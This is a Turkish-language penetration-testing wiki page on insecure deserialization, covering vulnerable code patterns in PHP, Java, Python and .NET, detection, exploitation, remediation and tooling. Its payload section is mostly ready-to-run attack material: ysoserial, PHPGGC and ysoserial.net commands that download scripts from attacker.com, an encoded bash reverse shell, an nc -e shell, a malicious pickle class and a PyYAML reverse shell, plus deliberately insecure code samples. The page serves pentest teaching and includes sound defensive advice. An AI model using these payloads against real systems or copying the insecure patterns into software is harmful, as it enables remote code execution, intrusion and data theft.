AltaySec Wiki Insecure Deserialization   ·   AltaySec Araştırmalar

Insecure Deserialization

root@altaysec:~# whoami
> Yazar: Kerem Vatansever

Modern dağıtık mimarilerde (Microservices, API'ler, RPC mekanizmaları, Message Brokers), nesnelerin ağ üzerinde taşınması veya diskte/önbellekte saklanması için kullanılan serileştirme (serialization) mekanizmaları, siber güvenlik dünyasının en yıkıcı ve tespiti zor zafiyetlerinden biri olan Insecure Deserialization (Güvensiz Seriden Çıkarma) zafiyetine kapı aralar. OWASP Top 10 listesinin değişmez ve en kritik maddelerinden biri olan bu zafiyet; basit bir veri manipülasyonundan, uygulamanın kimliğini taklit etmeye (Privilege Escalation), hizmet reddi saldırılarına (DoS) ve nihayetinde tam yetkili Uzaktan Kod Çalıştırmaya (Remote Code Execution - RCE) kadar uzanan geniş bir saldırı yüzeyi sunar.

Red Team operasyonlarında Insecure Deserialization, geleneksel bellek bozulması (memory corruption) zafiyetlerinden (Buffer Overflow vb.) farklı olarak, uygulamanın kendi "yasal" kod parçacıklarının (gadget) silahlaştırıldığı POP (Property-Oriented Programming) zincirlerine dayanır. Saldırgan, sisteme yeni bir zararlı kod enjekte etmek yerine, sistemin hafızasında (JVM, PHP Zend Engine, .NET CLR vb.) zaten var olan sınıfları ve sihirli metotları (magic methods) bir Rube Goldberg makinesi gibi arka arkaya tetikleyerek kendi komutlarını çalıştırır.

How It Works (Teknik Analiz)

Serileştirme (Serialization/Marshalling/Pickling), bellekteki karmaşık bir nesneyi (Object), referansları, değerleri ve durumlarıyla (state) birlikte daha sonra geri yüklenebilecek düz bir bayt akışına (byte stream) veya metin formatına (JSON, XML, YAML) dönüştürme işlemidir. Seriden çıkarma (Deserialization/Unmarshalling) ise bu işlemin tam tersidir; bayt dizisini okur ve bellekte nesneyi yeniden canlandırır (instantiation).

Zafiyetin kök nedeni, uygulamanın güvenilmeyen (untrusted) kaynaklardan gelen serileştirilmiş veriyi, içeriğini ve türünü doğrulamadan (type-checking) önce belleğe alması ve örneklemesidir. Seriden çıkarma işlemi bir kara kutu değildir; yorumlayıcı (interpreter) bayt akışını okurken otomatik olarak nesneyi oluşturur ve bu yaşam döngüsü sırasında dillerin içsel mekanizmalarına bağlı olarak bazı "sihirli metotlar" (örneğin Java'da readObject(), PHP'de __wakeup(), Python'da __reduce__()) otomatik olarak tetiklenir.

Uygulamanın yasal olarak bir User nesnesi beklediği bir noktada, saldırgan özel olarak hazırlanmış bir FileDelete veya CommandRunner nesnesi gönderdiğinde, uygulama tip uyuşmazlığı hatası (Type Mismatch / ClassCastException) fırlatsa bile, bu hata fırlatılmadan önce nesne belleğe alınmış ve sihirli metotlar çoktan çalıştırılmış olur. Hasar, veri tipinin kontrol edildiği uygulama katmanında değil, doğrudan çalışma zamanı (Runtime) motoru katmanında gerçekleşir.

Vulnerable Code Patterns

Aşağıda farklı teknolojilerde bu zafiyete yol açan ölümcül kod pratikleri gösterilmektedir.

PHP - Native Unserialize: PHP'de unserialize() fonksiyonu kullanıcı girdisine doğrudan maruz bırakıldığında, sınıfların __wakeup veya __destruct metotları anında tetiklenir.

<?php
class User {
    public $username;
    public $isAdmin;
}

// Güvensiz kullanım: Kullanıcıdan gelen base64 kodlu çerez doğrudan deserialization'a sokuluyor.
if (isset($_COOKIE['session'])) {
    $session_data = base64_decode($_COOKIE['session']);
    $user = unserialize($session_data); // Zafiyetli nokta!
    echo "Hoş geldin, " . $user->username;
}
?>

Java - ObjectInputStream: Java'da geleneksel java.io.ObjectInputStream sınıfı, gelen sınıfın tipini önceden kontrol etmeden doğrudan readObject() metodunu çağırır.

import java.io.*;

public class InsecureServer {
    public void handleRequest(InputStream clientInput) {
        try {
            // Güvensiz: İstemciden gelen veri akışı doğrudan nesneye dönüştürülüyor.
            ObjectInputStream ois = new ObjectInputStream(clientInput);
            Object obj = ois.readObject(); // Zafiyetli nokta! Gadget zincirleri burada tetiklenir.
            
            // Kod buraya gelmeden önce RCE çoktan gerçekleşmiş olabilir.
            if (obj instanceof AuthenticationObject) {
                System.out.println("Giriş başarılı.");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Python - Pickle (Object Serialization): Python'da pickle kütüphanesi nesne hiyerarşisini kaydetmekle kalmaz, __reduce__ metodu sayesinde modüllerin içe aktarılmasını (import) ve fonksiyonların çalıştırılmasını da kaydeder.

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route('/api/load_profile', methods=['POST'])
def load_profile():
    data = request.form.get('profile_data')
    if data:
        # Güvensiz: Base64 çözülen kullanıcı girdisi doğrudan pickle.loads() fonksiyonuna veriliyor.
        profile = pickle.loads(base64.b64decode(data)) # Zafiyetli nokta!
        return f"Loaded profile: {profile['name']}"
    return "No data"

.NET - BinaryFormatter / Json.NET (TypeNameHandling): .NET mimarisinde Microsoft, BinaryFormatter'ın güvensiz olduğunu açıkça belirtmiştir. Ayrıca, JSON gibi güvenli kabul edilen formatlarda bile polimorfizm destekli kütüphaneler (TypeNameHandling.All gibi) nesne enjeksiyonuna olanak tanır.

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using Newtonsoft.Json;

public class VulnerableApp {
    // Vektör 1: BinaryFormatter
    public void ProcessBinaryData(byte[] untrustedData) {
        MemoryStream ms = new MemoryStream(untrustedData);
        BinaryFormatter formatter = new BinaryFormatter();
        object obj = formatter.Deserialize(ms); // Zafiyetli nokta!
    }

    // Vektör 2: Newtonsoft Json.NET TypeNameHandling
    public void ProcessJsonData(string untrustedJson) {
        JsonSerializerSettings settings = new JsonSerializerSettings {
            // Güvensiz konfigürasyon: Saldırganın istediği sınıfı yaratmasına izin verir.
            TypeNameHandling = TypeNameHandling.All 
        };
        object obj = JsonConvert.DeserializeObject(untrustedJson, settings); // Zafiyetli nokta!
    }
}

Detection & Enumeration (Keşif ve Analiz)

Serileştirilmiş veriler genellikle HTTP Request/Response gövdelerinde, Cookie'lerde, API parametrelerinde (özellikle REST ve SOAP RPC çağrılarında), WebSocket mesajlarında veya gizli HTML form alanlarında (ViewState gibi) taşınır.

Magic Bytes & Header Signatures (Sihirli Baytlar ve İmzalar): Farklı serileştirme mekanizmaları kendilerine özgü bayt dizilimleriyle başlar. Sızma testi sırasında yakalanan trafikte bu imzalar aranmalıdır:

Black-box Enumeration ve Fuzzing Yaklaşımları:

  1. Error-Based Inference (Hata Tabanlı Çıkarım): Gelen Base64 veya Hex verisinin son birkaç baytını değiştirerek sunucuya gönderin. Eğer sunucu java.io.StreamCorruptedException veya PHP'de unserialize() error at offset gibi hatalar döndürüyorsa, hedefte Deserialization işlemi yapılmaktadır.
  2. Type Confusion (Tip Karışıklığı) Testleri: Sistem bir string bekliyorsa (örneğin bir access_token), PHP'de serileştirilmiş veri formatını bir tamsayıya (i:1;) veya booleana (b:1;) çevirin. Hedef sistemin zayıf tip karşılaştırması (== yerine ===) varsa mantıksal atlatmalar yaşanabilir.
  3. Time-Based Extraction (Zaman Tabanlı Çıkarım): Sistem hatayı gizliyorsa veya blind bir senaryo varsa, ping -c 10 127.0.0.1 veya sleep 10 komutlarını barındıran basit bir RCE payload'u (örneğin ysoserial URLDNS gadget'ı veya işletim sistemi komutu) yollayarak sunucunun yanıt verme süresi analiz edilir.
  4. OOB (Out-of-Band) DNS Interaction: Sunucunun internet erişimi sınırlandırılmış olsa bile DNS sorguları genellikle dışarı çıkabilir. ysoserial'in URLDNS gadget'ı hedef sunucunun size ait bir burp collaborator veya ngrok adresine DNS sorgusu yapıp yapmadığını test etmek için mükemmel ve risksiz bir keşif aracıdır.

Attack Vectors & Exploitation (İstismar Vektörleri)

PHP Object Injection (POI) & POP Chains

PHP'de nesne enjekte edildiğinde __wakeup() ve nesnenin çöp toplayıcı tarafından silindiği sırada __destruct() metotları çalışır. Saldırganın amacı, bu başlangıç metotlarından (Kick-off gadget) yola çıkarak hedefe giden bir zincir kurmaktır.

Java Insecure Deserialization

Java deserialization zafiyetleri genellikle ysoserial aracı ile istismar edilir. Java'nın sınıf yolu (Classpath) içindeki bağımlılıklarda (örneğin Apache Commons Collections, Spring, Hibernate, Groovy) bulunan "tehlikeli sınıflar" kullanılarak nesne ağacı oluşturulur.

Python Pickle & PyYAML Exploitation

Python'da durum çok daha basittir çünkü POP zincirlerine gerek yoktur. pickle veya PyYAML doğrudan işletim sistemi komutlarını çalıştırma yeteneğine sahiptir.

.NET Insecure Deserialization & ViewState

.NET mimarisinde ASP.NET uygulamaları istemcide state tutmak için ViewState adlı gizli bir alan kullanır (genellikle Base64 + MAC imzalı). Eğer MachineKey (şifreleme ve imza için kullanılan statik anahtar) web.config dosyasından sızdırılırsa veya Path Traversal ile okunursa, saldırgan ysoserial.net kullanarak zararlı bir ViewState payload'u imzalayabilir ve RCE elde edebilir.

Data Tampering & Privilege Escalation (Mantıksal İstismar)

RCE'nin mümkün olmadığı durumlarda (Gadget zinciri yoksa veya Strict bir Sandbox uygulanmışsa), saldırgan nesnenin iç değerlerini değiştirerek sistem mantığını bozabilir. Örnek: O:4:"User":2:{s:8:"username";s:5:"guest";s:7:"isAdmin";b:0;} Saldırgan Base64 çözülmüş bu veriyi alır ve b:0; kısmını b:1; yapar, ardından veriyi tekrar Base64'e çevirip sunucuya yollar. Deserialization sonrası sistem bu kişiyi "Admin" olarak tanımlar.

Payloads & Advanced Commands

Bu bölümde, sızma testlerinde kullanılan spesifik ve gelişmiş komut setleri sunulmaktadır. (Hedef sistemin yapısına ve kullanılan dil/kütüphaneye göre uyarlanmalıdır).

PHP Payloads (PHPGGC)

PHPGGC, bilinen frameworklerin deserialization açıkları için payload oluşturur.

# Sızma testlerinde framework'ün kullanılıp kullanılmadığını anlamak için (Hata oluşturur)
./phpggc -l

# Laravel framework'ünde RCE tetiklemek (Reverse shell veya komut)
./phpggc Laravel/RCE1 system "id"

# Symfony framework'ünde RCE
./phpggc Symfony/RCE4 system "cat /etc/passwd"

# Guzzle HTTP kütüphanesi yüklüyse, sunucuyu dışarıya istek yapmaya zorlamak (SSRF / Out-of-Band RCE)
./phpggc Guzzle/FW1 http://attacker.com/pwned.txt /var/www/html/shell.php

# Çıktıyı doğrudan Base64 encode etmek ve URL Encode uygulamak (Cookie'ler için)
./phpggc Monolog/RCE1 system "whoami" -b -u

# Fast Destruct (Çöp toplayıcı beklemeden anında patlatmak için) tekniği
./phpggc Laravel/RCE1 system "whoami" -f

Java Payloads (ysoserial)

ysoserial aracı, Java'daki en bilinen POP zincirleri kütüphanesidir.

# İlk test: Kör/Blind Deserialization keşfi için DNS resolution tetikleme
java -jar ysoserial.jar URLDNS "http://<your-collab-id>.oastify.com" > payload.bin

# Apache Commons Collections 1 (Klasik RCE)
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > acc1.bin

# RCE Çıktısını doğrudan Base64 formatında almak (-base64 parametresi yerine linux pipe kullanmak)
java -jar ysoserial.jar CommonsCollections4 "curl http://attacker.com/shell.sh -o /tmp/s.sh" | base64 -w 0

# Spring Framework kullanan uygulamalar için
java -jar ysoserial.jar Spring1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" > spring.bin

# WAF atlatan (Alternative Execution) - RMI/JNDI İstismarı (JRMP Client)
# 1. Adım: Kendi sunucunuzda Listener başlatın
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "nc -e /bin/bash attacker.com 4444"
# 2. Adım: Hedefe JRMP Client yollayın
java -jar ysoserial.jar JRMPClient "attacker.com:1099" > jrmp.bin

Python Payloads (Pickle / PyYAML)

Python için spesifik araçlardan ziyade, scriptler manuel hazırlanır.

Pickle RCE Payload:

import pickle
import base64
import os

class MaliciousPickle(object):
    def __reduce__(self):
        # İşletim sistemi komutunu çalıştıran tuple döner
        cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f')
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(MaliciousPickle())).decode('utf-8')
print("Saldırı Payload'u:")
print(payload)

PyYAML RCE Payload:

# Doğrudan HTTP Request body veya YAML parse eden API'ye gönderilecek veri
!!python/object/apply:os.system
- "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"

# Alternatif subprocess payload (Eğer os.system filtrelenmişse)
!!python/object/apply:subprocess.check_output
args:
  - ['ls', '-la', '/']

.NET Payloads (ysoserial.net)

Windows sistemlerde ASP.NET ve C# mimarisi için ysoserial.net aracı vazgeçilmezdir.

# BinaryFormatter kullanan uygulamalar için
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" -o base64

# Json.NET kullanan (TypeNameHandling.All veya Auto açık olan) uygulamalar için
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"

# ASP.NET ViewState İstismarı (Eğer MachineKey biliniyorsa)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo pwned > C:\Windows\Temp\pwn.txt" --generator=IIS --apppath=/ --isdebug=false --validationkey=CB27... --decryptionkey=8DB9...

Bypass & Obfuscation (Atlatma Teknikleri)

Savunma mekanizmaları, WAF'lar (Web Application Firewall) veya basit Input Validation filtreleri belirli anahtar kelimeleri (java.lang.Runtime, os.system, eval) veya uzunlukları engelleyebilir. Bu durumda Red Team operatörü çeşitli atlatma tekniklerine başvurur:

PHP Serialization Bypasses

Java Serialization Bypasses

Remediation & Prevention (Önleme ve Savunma)

Bu zafiyet sınıfından korunmak için sadece girdileri sanitize etmek yeterli değildir, mimari düzeyde kararlar alınmalıdır.

  1. Do Not Deserialize Untrusted Data (Altın Kural): Uygulama dışından (kullanıcıdan, farklı bir mikrosistemden) gelen hiçbir veriyi yerel/ikili (native/binary) serileştirme mekanizmaları ile işlemeyin.
  2. Veri Odaklı Formatlara Geçiş: Karmaşık sınıf hiyerarşileri yerine salt veriyi taşıyan (Data-only) JSON veya XML yapılarını kullanın. Ancak bunu yaparken TypeNameHandling (C# Json.NET) veya Polymorphic Deserialization (Java Jackson) gibi nesne tipini verinin içinde taşıyan esnekliklerden uzak durun.
  3. Digital Signatures & HMAC (Bütünlük Kontrolü): Eğer native serileştirilmiş bir verinin kullanılması elzemse (örneğin ASP.NET ViewState, Java RMI), bu veriler muhakkak güçlü kriptografik anahtarlarla (HMAC-SHA256) imzalanmalı veya şifrelenmelidir (AES-GCM). Seriden çıkarma işlemi yapılmadan önce bu imza doğrulanmalıdır.
  4. Strict Type Whitelisting (LookAheadObjectInputStream): Java'da java.io.ObjectInputStream sınıfı resolveClass() metodunda override edilerek "Sadece izin verilen, beklenen (Whitelist)" sınıfların seriden çıkarılması sağlanmalıdır.
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(SafeExpectedClass.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
    
  5. Agent Bazlı Savunma ve Sandboxing: Kontr-Espiyonaj ajanları (Contrast Security'nin rO0 ajanı, RASP çözümleri), bilinen tehlikeli sınıfların (Gadget'ların) ObjectInputStream içerisine girmesini JVM düzeyinde engeller. Ayrıca deserialization işlemleri düşük yetkili ve kısıtlanmış ortamlarda/konteynerlerde yapılmalıdır.
  6. Dependency Management: Saldırganlar zafiyeti sizin kodunuzda değil, projenizin bağımlılıklarındaki (örneğin fastjson, log4j, Apache Commons) gadget'larda bulur. SCA (Software Composition Analysis) araçları ile kütüphaneler sürekli güncel tutulmalıdır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
ysoserial Java ortamlarında bilinen kütüphaneler üzerinden POP/Gadget zincirleri üreterek RCE/DoS payload'u hazırlar. java -jar ysoserial.jar CommonsCollections1 "calc.exe" > pwn.bin
PHPGGC PHP frameworkleri (Laravel, Drupal vb.) için __wakeup / __destruct sihirli metotlarını kullanarak nesne enjeksiyon payloadları (POP Chains) üretir. ./phpggc Laravel/RCE1 system "cat /etc/passwd"
ysoserial.net C# / ASP.NET (.NET Framework) mimarisi için ViewState, BinaryFormatter, Json.Net formatlarında gadget zincirleri (RCE payloadları) oluşturur. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd.exe"
SerializationDumper İnsan tarafından okunamayan Java Serialized nesne baytlarını (Hex/Base64) ayrıştırarak içerisindeki nesne ağacını (class, property) düz metne döker. java -jar SerializationDumper.jar -r rO0ABXN...
Burp Suite: Java Deserialization Scanner Aktif/Pasif analiz ile HTTP istekleri içerisinde giden Java objelerinde potansiyel deserialization zafiyetlerini zaman tabanlı (time-delay) tespit eder. (Burp Extender üzerinden UI ile tetiklenir)
Serianalyzer Uygulamadaki JAR/WAR dosyalarını statik olarak analiz ederek potansiyel gadget zincirlerini ve güvensiz deserialization noktalarını bulur. java -jar serianalyzer.jar target_app.jar
Freddy (Burp Extension) JSON tabanlı API'lerde Java (Jackson, Fastjson vb.) ve .NET deserialization RCE payload'larını otomatik fuzzing yaparak test eder. (Burp Extender üzerinden UI ile tetiklenir)

Yazar: Kerem Vatansever · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv